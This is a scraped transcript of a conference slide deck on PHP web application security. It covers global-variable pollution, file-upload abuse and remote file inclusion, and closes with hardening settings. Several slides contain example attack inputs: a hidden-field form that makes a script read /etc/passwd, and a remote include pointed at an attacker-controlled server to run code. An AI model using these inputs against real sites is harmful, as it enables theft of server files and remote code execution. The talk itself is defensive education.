1 / 57

Breaking In Through The Front Door

Breaking In Through The Front Door. The Impact of Web Applications and Application Service Provision on Traditional Security Models. Shaun Clowes – shaun@securereality.com.au. Overview. A Brief History of Computing Web Application environments Dangers of Web Applications

kesler
Download Presentation

Breaking In Through The Front Door

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Breaking In Through The Front Door The Impact of Web Applications and Application Service Provision on Traditional Security Models Shaun Clowes – shaun@securereality.com.au

  2. Overview • A Brief History of Computing • Web Application environments • Dangers of Web Applications • Exploiting PHP Applications • Testing Web Applications • Protecting Web Applications • Questions?

  3. A Brief History Of Computing • How has the security problem space evolved over time? • What new problems are we facing? • Are we eliminating old problems?

  4. Ancient History • Ancient History – 1940’s and 50’s • Eniac, Univac etc. • Not exactly many security issues

  5. Commercial Computing • Early 1960’s • Transistors and later Integrated Circuits • IBM’s 701 and later 360 • Batch processing • Still not exactly difficult to secure

  6. Multi User Systems • Late 1960’s • IBM’s 360/67, CP/CMS and later VM/CMS • Terminals • Security begins to become an issue • Students stealing CPU time

  7. Centralized Computing • 1970 • PDP Machines • The birth of Unix • Word processing, true multi user operating systems • Attacks against local applications and social engineering

  8. Client / Server • Late 1970’s and early 1980’s • Microcomputers interfacing with Minicomputers and Mainframes • Advent of ‘Network Services’ • Security becomes a larger problem space • Attacks against open services • The advent of anonymity

  9. The Internet • Circa Late 1987 to now • Unix supports TCP/IP, commercial connections • Security explodes, threat rises dramatically • Complete anonymity • Service attacks become widespread • The Morris Worm - 1988

  10. The Defence • Internet not friendly • Attacks: • Local Applications • Social Engineering • Externally Accessible Services • Developed defence technologies

  11. Firewalls • Packet Filters • IP routers with filters • Application Layer • Marcus Ranum – DEC SEAL • Stateful Inspection • Gil Shwed – Firewall 1 - Checkpoint • Limiting exposure of services

  12. Intrusion Detection Systems • Network Based • Network Flight Recorder, Snort etc • Detect • Host Based • LIDS etc • Detect, Prevent • Limit anonymity, • Limit timeframe for attacks

  13. Defence Weaknesses • Local attacks still very common where command execution is possible • Administrators actively patch multi user machines • Access to other machines (e.g Web Servers) limited to trusted users

  14. Where Are We Headed?

  15. Where Are We Headed?

  16. Architecture

  17. Architecture Benefits • No client side software (web browser) • No versioning issues • No platform compatibility issues • 3rd tier servers behind firewall, not directly accessible • Web Applications run on trusted machine • Can they trust their environment?

  18. Architecture Drawbacks • Processing load on web server • Can be complex to develop in traditional languages

  19. Architecture Risks • Web Applications must be secure • Can access 3rd tier servers with privileges • Subverted Web Applications not controlled (typically) by Firewall • IDS unlikely to see attacks against Web Applications • Web Applications do not fit into security model for Centralized or Client/Server computing

  20. The Result • Despite risks/drawbacks, Web Applications being deployed in increasing numbers • So what sort of attacks are we exposing ourselves to?

  21. Attack Scenarios - 1 • Attack SQL queries including client input • Gain elevated privileges to • Application – See Attack Scenario 2 • Database server • Use access on Database server to further elevate privileges • On DB Server via local exploits • On other hosts by trust relationships and service attacks

  22. Attack Scenarios 1 cont. • SQL attacks well covered elsewhere, not focus here • For more information: • Search BugTraq • David Litchfield – “Remote Web Application Dissassembly with ODBC Error Messages”

  23. Attack Scenarios 2 • Attack vulnerabilities in Web Application code or environment • Results in: • Elevated Privileges in Application • Exploit Application further • Local Code Execution • Exploit local vulnerabilities (little patching) • Exploit trust relationships with 3rd tier • End Result: • Major privileges on network

  24. Other Attack Scenario’s • Other Attacks possible against underlying Architecture (e.g Web Server) • Well covered in JD Glaser’s presentation

  25. Driving the Change • Web Applications previously developed in: • Perl • C • Not designed for the Web • Web Languages developed: • PHP • ASP (VBScript) • ColdFusion

  26. Web Languages • 4th Generation Languages • Tags embedded in HTML pages • Very feature rich • Designed to be simple • Coding falls to Web Designers

  27. Web Languages - Issues • Languages make it hard to write secure applications (especially PHP) • One function can behave in many ways (for ease of use) • Loosely typed, no variable declaration • Blur border between user input and application variables • Software written by non coders, don’t understand issues

  28. Focus on PHP • PHP = “PHP Hypertext Preprocessor” • Installed on 37% of Apache servers (E-Soft Web Survey) • Lots of applications being written for it • Discuss • Common mistakes with PHP • How PHP makes secure code difficult

  29. PHP – Global Input Variables • Form variables end up as global variables in script • For Example: • When submitted, the variable $hello in PHP contains the value specified in the form <FORM ACTION="<name>.php" METHOD="post"> <INPUT TYPE="text" NAME="hello"> <INPUT TYPE="submit"> </FORM>

  30. PHP – Global Input Variables • Attacker can pollute the global namespace • For Example: • A script sets the variable $auth to true if its authenticated the remote user • The attacker provides auth as true through form input • Script cannot trust any variable it hasn’t explicitly set

  31. PHP – File Upload • SecureReality Advisory 1 (SRADV00001) • Automatically handles RFC 1867 • For Example: • If file is less than max_file_size its saved locally (usually in /tmp) <FORM ENCTYPE=“multipart/form-data” ACTION="<name>.php" METHOD="post"> <INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="1000"> <INPUT TYPE=“file" NAME="hello"> <INPUT TYPE="submit"> </FORM>

  32. PHP – File Upload • The script is given variables • $hello = Location of file on local system • $hello_name = Remote filename • $hello_size = Byte size of file • $hello_type = MIME Type of file

  33. PHP – File Upload • An attacker can set max_file_size to an arbitrary value • Gain? • Limited by PHP configuration directive upload_max_filesize • Just submit multiple files • Still limited by maximum execution time

  34. PHP – File Upload • An attacker can get the application to work on a file local to the machine • Use a form like: • We’ve used our ability to affect global variables to create the variables expected by the script <FORM ACTION="<name>.php" METHOD="post"> <INPUT TYPE=“hidden" NAME="hello“ VALUE=“/etc/passwd”> <INPUT TYPE=“hidden” NAME=“hello_size” VALUE=“100”> <INPUT TYPE=“hidden” NAME=“hello_type” VALUE=“text/plain”> <INPUT TYPE=“hidden” NAME=“hello_name” VALUE=“hello”> <INPUT TYPE="submit"> </FORM>

  35. PHP – File Upload • This will often lead to exposure of sensitive file contents • Hard to detect this attack in all but the most recent versions of PHP • Latest versions make this easy to detect • Latest documentation makes the problem clear • Problem still common

  36. PHP – Remote Files • Typical file operations support Remote Files functionality • The following code opens a file: • If $hello beings with http:// or ftp:// PHP will go to network <?php If (!($file = fopen(“$hello”, “r”)) echo(“Could not open file!”); ?>

  37. PHP – Remote Files • How does an attacker use it? • Remote Files works for most file operations in PHP • Include() and require() read a file and interpret it as though it were PHP code • Typically used to support “library” concept

  38. PHP – Remote Files • For example: • $langdir is a configuration variable specifying the directory for scripts for a certain language <?php … include(“$langdir/phrases.php”); ?>

  39. PHP – Remote Files • The attacker can set $confdir with form input • If she can prevent the script overwriting it she can submit: http://<myevilserver> • If the attacker creates a file on their webserver called languages.php • Code execution

  40. PHP - Parsing • Certain file types are configured in the web server to be parsed as PHP • Other types could well be returned as plain text • PHP Library files are typically named <library>.php, so they cannot have source retrieved

  41. PHP – Parsing • Thus remote user can remotely request a library file and have it parsed • Loss of dependencies • Code can no longer rely on an environment

  42. Real Life Vulnerabilities • Following are several in depth examples of security compromises through popular open source PHP Web Applications. • Attacks are via Web Browser • No special software • Breaking in through the front door • Attacks are normal HTTP requests

  43. Vulnerabilities • At time of writing vendors have not been notified of the vulnerabilities to be discussed. They have thus been omitted from this version of the presentation. • After the presentation the full slides will be available at http://www.securereality.com.au and http://www.blackhat.com

  44. Vulnerabilities - Conclusion • Exploiting PHP often like catching fish from a barrel • Code running on trusted host, in trusted network but still cannot trust its environment

  45. Finding the Holes • File upload issues • Change file upload fields to hidden fields • Just try • Hidden fields • Often configuration variables • Modify them • Normal fields • Try special characters, ‘/\:;’

  46. Finding the Holes • Getting the source: • Open source – Full or modified • IIS Holes • Unicode exploit • showcode.asp • .htr hole • Translate: f hole • …. many more • FTP to web server (anonymous)

  47. Finding the Holes • Getting the source: • Non parsed backup files: • .bak, .tmp, .old, .bac, .backup, .orig, .temp, .000, .~1, .php~, etc. • File upload PHP exploitation • Spotting holes in source: • Grep! • Look for ‘vulnerable’ operations with variable substitution

  48. Finding the Holes • Vulnerable operations: • PHP Functions: include(), require(), eval(), exec(), passthru(), ``, system(), popen(), fopen(), readfile(), file() • Variable functions: • Variable dereferencing: $hello = “echo \”hi!\””; $hello(); $hello = “confdir”; $$hello = “http://myhost”; echo “$confdir”;

  49. Securing PHP • Later versions of PHP are very configurable • Drastic Measures: • Set open_basedir • Prevents any file open operations on files outside specified directories • register_globals off • Protects environment from user pollution • The ultimate protection • Breaks 99.99% of existing scripts

  50. Securing PHP • Drastic Measures cont: • safe_mode on • Heaps of restrictions • Restrict which commands can be executed • Disable functions, e.g exec(), system() • Restricts file access based on ownership • Kills file upload • Designed for use in ISP environments

More Related